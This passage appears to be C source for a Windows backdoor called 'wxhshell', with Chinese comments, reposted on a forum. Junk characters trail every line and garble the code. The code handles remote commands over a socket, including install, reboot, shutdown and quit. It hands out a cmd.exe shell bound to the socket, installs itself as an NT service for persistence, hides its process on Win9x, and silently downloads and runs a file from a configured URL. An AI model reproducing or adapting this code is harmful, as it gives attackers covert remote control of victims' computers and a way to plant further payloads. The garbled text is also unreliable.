  } o!";&\,Ip  
  else { 4]VoIUIuN  
D(m2^\O[  
    switch(cmd[0]) { \}:&Hl+  
  .sO.Y<- fl  
  // 帮助 YCWt%a*I'  
  case '?': { 3%g\)Cs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RwG@C|sG  
    break; iEtnwSt  
  } $Ka-ZPy<#  
  // 安装 mihR *8p  
  case 'i': { RP"YSnF3  
    if(Install()) 0&YW#L|J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMxg6\8  
    else c']3N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oc51|[ Wj  
    break; y" (-O%Pe  
    } TT'sO[N[  
  // 卸载 f:=y)+@1My  
  case 'r': { x/UmpJD+  
    if(Uninstall()) xUiSAKrcM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h=fzX .dt  
    else r&u&$ "c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aQMUC6cPM@  
    break; E%?X-$a  
    } nkv+O$LXP  
  // 显示 wxhshell 所在路径 y rSTU-5u  
  case 'p': { D9cpw0{nc  
    char svExeFile[MAX_PATH]; Q*W`mFul  
    strcpy(svExeFile,"\n\r");  Stzv  
      strcat(svExeFile,ExeFile); KqM!7  
        send(wsh,svExeFile,strlen(svExeFile),0); 0#gu7n|J  
    break; ^9{mjy0Q  
    } j J}3WJ  
  // 重启 i #uc  
  case 'b': { yBd#*3K1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O0"u-UX{  
    if(Boot(REBOOT)) ]dx6E6A,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9K9{$jN~  
    else { O>5xFz'm  
    closesocket(wsh); 7 )2Co[t  
    ExitThread(0); ^1#"FU2cP  
    } hzT,0<nw  
    break; , ;'y <GA  
    } \c"{V-#o\  
  // 关机 xJQ-k/`  
  case 'd': { q0Hor   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d)_fI*:f  
    if(Boot(SHUTDOWN)) vZDM}u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Kx@ 2#~b  
    else { Nq$Xe~,*  
    closesocket(wsh); J6WyFtlyLc  
    ExitThread(0); M<4tjVQ6  
    } dB{VY+!  
    break; J=%(f1X<W  
    } w^_[(9 `  
  // 获取shell ^ #6Ei9di  
  case 's': { h!vq~g  
    CmdShell(wsh); Ewfzjc  
    closesocket(wsh); j}uVT2ZE%  
    ExitThread(0); N8]DW_bsB  
    break; %^5|3l3y  
  }  Uz;z  
  // 退出 :o)4Y  
  case 'x': { gc ce]QS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]vFtByqn  
    CloseIt(wsh); \Ax[/J2aO  
    break; ([mC!d@a  
    } WOv m%sX  
  // 离开 i`FskEoijq  
  case 'q': { -f{NVX\<0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z=L~W,0'  
    closesocket(wsh); 6N6}3J5  
    WSACleanup(); ai3wSUYJi  
    exit(1); U_X/  
    break; ]*M VVzF  
        } bv%A;  
  } ~{8X$xs  
  } k*?Axk#  
/2<1/[#  
  // 提示信息 da'7* &/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'S[&-D%(3  
} l"C)Ia&/  
  } $aY*1UVq  
w9Eb\An  
  return; 8hKyp5(%l  
} \Y>!vh X  
gbC!>LV  
// shell模块句柄 q1|! oQ  
int CmdShell(SOCKET sock) lZt{L0  
{ e >OYJd0s  
STARTUPINFO si; <9BM%  
ZeroMemory(&si,sizeof(si)); A9?h*/$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eSC69mfD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J Uf{;nt  
PROCESS_INFORMATION ProcessInfo; f|U J%}$v;  
char cmdline[]="cmd"; 1L4-hYtCj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]0 g$3  
  return 0; v0d<P2ix  
} tn"n~;Bh?:  
T%opkyP>=  
// 自身启动模式 )\!-n]+A  
int StartFromService(void) JfrPK/Vn  
{ MFHc>O DA  
typedef struct wva| TZ  
{ ,X&(BQj h  
  DWORD ExitStatus; 3BTXX0yx  
  DWORD PebBaseAddress; M)<4|x  
  DWORD AffinityMask; Tej&1'G  
  DWORD BasePriority; o#X=1us  
  ULONG UniqueProcessId; {m<NPtp910  
  ULONG InheritedFromUniqueProcessId; |?kZfr&9q  
}   PROCESS_BASIC_INFORMATION; lrE|>R  
8|*=p4_fn  
PROCNTQSIP NtQueryInformationProcess; NIzxSGk|  
Q9\6Pn ]T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "I7 Sed7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9rCvnP=  
.3tyNjsn\  
  HANDLE             hProcess; ]Uy cT3A  
  PROCESS_BASIC_INFORMATION pbi; _(TYR*  
q%RPA e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hPM:=@ N$  
  if(NULL == hInst ) return 0; ;)SWUXa;{  
U,Duq^l~s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AzfYw'^&9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uc?4!{$X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DNh{J^S"}w  
cc$L56q  
  if (!NtQueryInformationProcess) return 0; nVK`H@5fw  
W{{{c2 .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I1TzPe  
  if(!hProcess) return 0; X-Q;4M-CJ  
:.K#=ROP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :J'ibb1  
0VA$ Ige  
  CloseHandle(hProcess); ?puZqVu5  
Hf ]w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ i-(` 5  
if(hProcess==NULL) return 0; V&j |St[  
7wm9S4+|  
HMODULE hMod; gOE3x^X*{  
char procName[255]; M<s Y_<z  
unsigned long cbNeeded; ckZZ)lW`*  
C8J3^ ?7E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M[Kk43;QY!  
S]P80|!|  
  CloseHandle(hProcess); 4Y=sTXbFt  
TsX(=N_  
if(strstr(procName,"services")) return 1; // 以服务启动 #hNp1y2  
\k8|3Y~g  
  return 0; // 注册表启动 ,%L>TD'48s  
} 7n_'2qY  
Gz>M`M`[4  
// 主模块 oI!L2  
int StartWxhshell(LPSTR lpCmdLine) RgPY,\_9+  
{ ~MgU"P>  
  SOCKET wsl; @ eQo  
BOOL val=TRUE; ?]d [K>bv  
  int port=0; 8" x+^  
  struct sockaddr_in door; w(y#{!%+  
+&T;jad2  
  if(wscfg.ws_autoins) Install(); S!/N lSr<  
gm-m_cB<  
port=atoi(lpCmdLine); Q]?Lg  
:*{>=BD  
if(port<=0) port=wscfg.ws_port; ~(|~Ze>  
XO=UKk+EK  
  WSADATA data; )bM #s">Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xEA%UFB.!G  
p PF]&:&-b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pxF<L\L?:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Q]p#;  
  door.sin_family = AF_INET; e^Ds|}{V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LEUD6 M+~t  
  door.sin_port = htons(port); `wyX)6A|bt  
y[}O(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JE`mB}8s/  
closesocket(wsl); )ZU=`!4  
return 1; &SzLEbU!  
} q0}?F  
mNvK|bTUT  
  if(listen(wsl,2) == INVALID_SOCKET) { zW@OSKq4  
closesocket(wsl); Z1(-FT6O  
return 1; =h083|y>  
} ql Uw;{;p  
  Wxhshell(wsl); Vs)%*1><  
  WSACleanup(); h%hE$2  
=uYz4IDB  
return 0; Rv ]?qJL  
*L%i-Wg"  
} is3nLm(  
cI5*`LML1  
// 以NT服务方式启动 l Z3o3"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9}4EW4  
{ CKAs3",  
DWORD   status = 0; .CrrjS w  
  DWORD   specificError = 0xfffffff; I) $of9   
A0NNB%4|/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UL/|!(s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jJpSn[{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "hRY+{m  
  serviceStatus.dwWin32ExitCode     = 0; [ imC21U  
  serviceStatus.dwServiceSpecificExitCode = 0; KAR XC,z  
  serviceStatus.dwCheckPoint       = 0; R|Oy/RGY$  
  serviceStatus.dwWaitHint       = 0; kXj%thDx  
)$#r6fQO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,|: a7b]  
  if (hServiceStatusHandle==0) return; 6zQ {Y"0  
^ ExA  
status = GetLastError(); g5EdW=Dt,  
  if (status!=NO_ERROR) S=Ihg  
{ ~IHjj1s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =A6/D    
    serviceStatus.dwCheckPoint       = 0; u@`)u#  
    serviceStatus.dwWaitHint       = 0; C +-<  
    serviceStatus.dwWin32ExitCode     = status; dYg}qad5:  
    serviceStatus.dwServiceSpecificExitCode = specificError; QK5y%bTSA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ." m6zq  
    return; -DO*,Eecv  
  } WC!bB  
ASuxty  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~&/|J)}  
  serviceStatus.dwCheckPoint       = 0; )shzJ9G  
  serviceStatus.dwWaitHint       = 0; !b O8apn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qAH@)}  
} D_6GzgZ  
:!a9|Fh~  
// 处理NT服务事件,比如:启动、停止 ILUA'T=B0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 zlgmCGow  
{ 2a;vLc4  
switch(fdwControl) :E|HP#iwu  
{ nL}bCX{  
case SERVICE_CONTROL_STOP: _tfZg /+)  
  serviceStatus.dwWin32ExitCode = 0; ?VMj;+'tr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WUid5e2  
  serviceStatus.dwCheckPoint   = 0; eSynw$F2N  
  serviceStatus.dwWaitHint     = 0; t)o #!)|  
  { (~oUd 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >G2o  
  } z8 bDBoD6  
  return; =&*:)  
case SERVICE_CONTROL_PAUSE: , #yE#8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d{.cIv  
  break; ;Ef:mr"Nu  
case SERVICE_CONTROL_CONTINUE: W{Cc wq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]McLace&  
  break; z_#B 4  
case SERVICE_CONTROL_INTERROGATE: d"nz/$  
  break; j%iz>  
}; pti`q )  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u93=>S  
} 9&A-o  
Xj^6ZJc  
// 标准应用程序主函数 4#uWj ?u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tb7Wr1$<  
{ ND\&#  
2}u hPW+  
// 获取操作系统版本 [L1pDICoy  
OsIsNt=GetOsVer(); f\"Qgn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~UjFL~K}  
%T*lcg  
  // 从命令行安装 omM*h{z$$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4Vj|k\vE4  
b=a&!r5M  
  // 下载执行文件 WYTeu "  
if(wscfg.ws_downexe) { 05:`(vl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p ez^]I  
  WinExec(wscfg.ws_filenam,SW_HIDE); @v9 PI/c  
} <@n/[ +3  
&I.UEF2,  
if(!OsIsNt) { W|@EKE.k  
// 如果时win9x,隐藏进程并且设置为注册表启动 yy4QY%  
HideProc(); 8WU UE=p  
StartWxhshell(lpCmdLine); }N5>^y  
} |KF X0*70  
else SMaC{RPQ  
  if(StartFromService()) }cyHR1K  
  // 以服务方式启动 p_Fc:%j>  
  StartServiceCtrlDispatcher(DispatchTable); [7?K9r\#  
else ll {jE  
  // 普通方式启动 FG7}MUu  
  StartWxhshell(lpCmdLine); v?rjQ'OP  
]#N2:ych  
return 0; QthHQA  
}
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只看该作者 1 发表于: 2006-10-10
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